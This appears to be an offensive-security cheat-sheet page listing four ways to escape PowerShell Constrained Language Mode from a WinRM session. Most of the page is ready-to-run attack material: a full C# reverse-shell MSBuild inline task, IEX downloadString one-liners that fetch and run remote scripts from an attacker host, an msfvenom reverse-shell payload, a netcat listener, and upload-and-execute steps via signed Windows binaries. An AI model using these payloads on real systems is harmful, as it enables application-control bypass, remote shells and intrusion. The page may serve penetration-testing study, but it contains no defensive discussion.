Skip to content
HackIndex logo

HackIndex

WinRM CLM Bypass – PowerShell Constrained Language Mode Escape

4 min read Apr 6, 2026

PowerShell Constrained Language Mode (CLM) is enforced when AppLocker or WDAC (Windows Defender Application Control) policies are active. A WinRM session landing in CLM blocks .NET type access, COM object creation, and most reflection-based techniques — meaning standard post-exploitation tools like PowerView, Rubeus, and Mimikatz loaded as PowerShell scripts will fail silently or throw errors.

Check your current language mode immediately after connecting:

PS C:\Users\Guest\Desktop> $ExecutionContext.SessionState.LanguageMode

Technique 1 – PowerShell Version Downgrade

PowerShell version 2 does not enforce CLM. If PowerShell 2 is installed on the target, downgrade to escape entirely:

C:\Users\Guest\Desktop> powershell -version 2

Confirm it worked:

PS C:\Users\Guest\Desktop> $ExecutionContext.SessionState.LanguageMode

If the output is FullLanguage, you are out. Run your tools normally.

Check if v2 is available first:

PS C:\Users\Guest\Desktop> Get-ChildItem "HKLM:\SOFTWARE\Microsoft\PowerShell"

A key named 1 with a PowerShellVersion value of 2.0 confirms v2 is installed. Many modern environments have v2 removed — if the downgrade fails, move to the next technique.

Technique 2 – PSByPassCLM via Custom Runspace

PSByPassCLM creates a new PowerShell runspace outside the CLM enforcement boundary by calling the .NET API directly from a compiled binary rather than through the constrained PowerShell host.

Upload the PSByPassCLM binary to the target:

*Evil-WinRM* PS C:\Users\Administrator\Documents> upload /opt/PSByPassCLM/PSByPassCLM.exe C:\Windows\Temp\PSByPassCLM.exe

Execute it from your WinRM shell. It spawns a new PowerShell process in FullLanguage mode:

C:\Users\Guest\Desktop> C:\Windows\Temp\PSByPassCLM.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c $env:COMPUTERNAME
Explain command
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Target PowerShell executable to launch
-c Execute the following string as a PowerShell command
$env:COMPUTERNAME PowerShell environment variable containing the computer name

Or get a reverse shell directly from the new FullLanguage process:

C:\Users\Guest\Desktop> C:\Windows\Temp\PSByPassCLM.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://$LHOST/rev.ps1')"
Explain command
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Target PowerShell executable to execute within CLM bypass context
IEX(New-Object Net.WebClient).downloadString('http://$LHOST/rev.ps1') PowerShell command that downloads and executes remote script from attacker host
$LHOST Placeholder for attacker's listening host IP address or hostname

Source: https://github.com/padovah4ck/PSByPassCLM

Technique 3 – MSBuild Inline Task Execution

MSBuild.exe is a Microsoft-signed binary and is typically on the allowed list even when AppLocker is enforcing CLM. It can execute arbitrary .NET code via an inline task XML file.

Create the MSBuild project file on your attack box:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="exploit">
    <ClassExample />
  </Target>
  <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Net;
          using System.Net.Sockets;
          using System.Text;
          using System.IO;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask {
            public override bool Execute() {
              using (var client = new TcpClient("LHOST_REPLACE", LPORT_REPLACE)) {
                var stream = client.GetStream();
                var buf = new byte[65535];
                using (var process = new System.Diagnostics.Process()) {
                  process.StartInfo.FileName = "cmd.exe";
                  process.StartInfo.CreateNoWindow = true;
                  process.StartInfo.UseShellExecute = false;
                  process.StartInfo.RedirectStandardInput = true;
                  process.StartInfo.RedirectStandardOutput = true;
                  process.StartInfo.RedirectStandardError = true;
                  process.OutputDataReceived += (s, e) => { if (e.Data != null) { var b = Encoding.ASCII.GetBytes(e.Data + "\n"); stream.Write(b, 0, b.Length); } };
                  process.ErrorDataReceived += (s, e) => { if (e.Data != null) { var b = Encoding.ASCII.GetBytes(e.Data + "\n"); stream.Write(b, 0, b.Length); } };
                  process.Start();
                  process.BeginOutputReadLine();
                  process.BeginErrorReadLine();
                  int br;
                  while ((br = stream.Read(buf, 0, buf.Length)) > 0) {
                    process.StandardInput.WriteLine(Encoding.ASCII.GetString(buf, 0, br).TrimEnd('\n'));
                  }
                }
              }
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Replace LHOST_REPLACE with $LHOST and LPORT_REPLACE with $LPORT.

Upload the file:

*Evil-WinRM* PS C:\Users\Administrator\Documents> upload /tmp/rev.csproj C:\Windows\Temp\rev.csproj

Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode; nc acts as a server instead of client
-v Verbose output; displays connection information
-n Numeric only; skip DNS name resolution
-p Specify source port for listening or connection
$LPORT Variable placeholder for the listening port number

Execute via MSBuild:

C:\Users\Guest\Desktop> C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\rev.csproj

MSBuild compiles and runs the inline C# task outside CLM enforcement, delivering a cmd.exe reverse shell.

Technique 4 – InstallUtil Bypass

InstallUtil.exe is another Microsoft-signed binary that executes .NET assembly installer classes and is typically AppLocker-whitelisted. Compile a C# payload that implements Installer.Install():

On your attack box, compile a reverse shell installer:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o payload.exe
Explain command
-p windows/x64/shell_reverse_tcp Payload type: 64-bit Windows reverse TCP shell
LHOST=$LHOST Attacker IP address to connect back to
LPORT=$LPORT Attacker listening port for reverse connection
-f exe-service Output format as Windows service executable
-o payload.exe Output file path for generated payload

Or compile a custom C# installer class:

C:\Users\Guest\Desktop> csc.exe /target:library /out:payload.dll payload.cs
Explain command
/target:library Compile as a library (DLL) instead of executable
/out:payload.dll Specify output file name and path for compiled assembly
payload.cs Source code file to compile

Upload and execute:

C:\Users\Guest\Desktop> upload /tmp/payload.dll C:\Windows\Temp\payload.dll
C:\Users\Guest\Desktop> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Temp\payload.dll

Confirming CLM is Defeated

After applying any bypass, verify language mode in the new shell:

PS C:\Users\Guest\Desktop> $ExecutionContext.SessionState.LanguageMode

FullLanguage confirms success. Now load post-exploitation tools normally:

PS C:\Users\Guest\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')
PS C:\Users\Guest\Desktop> Get-DomainUser

References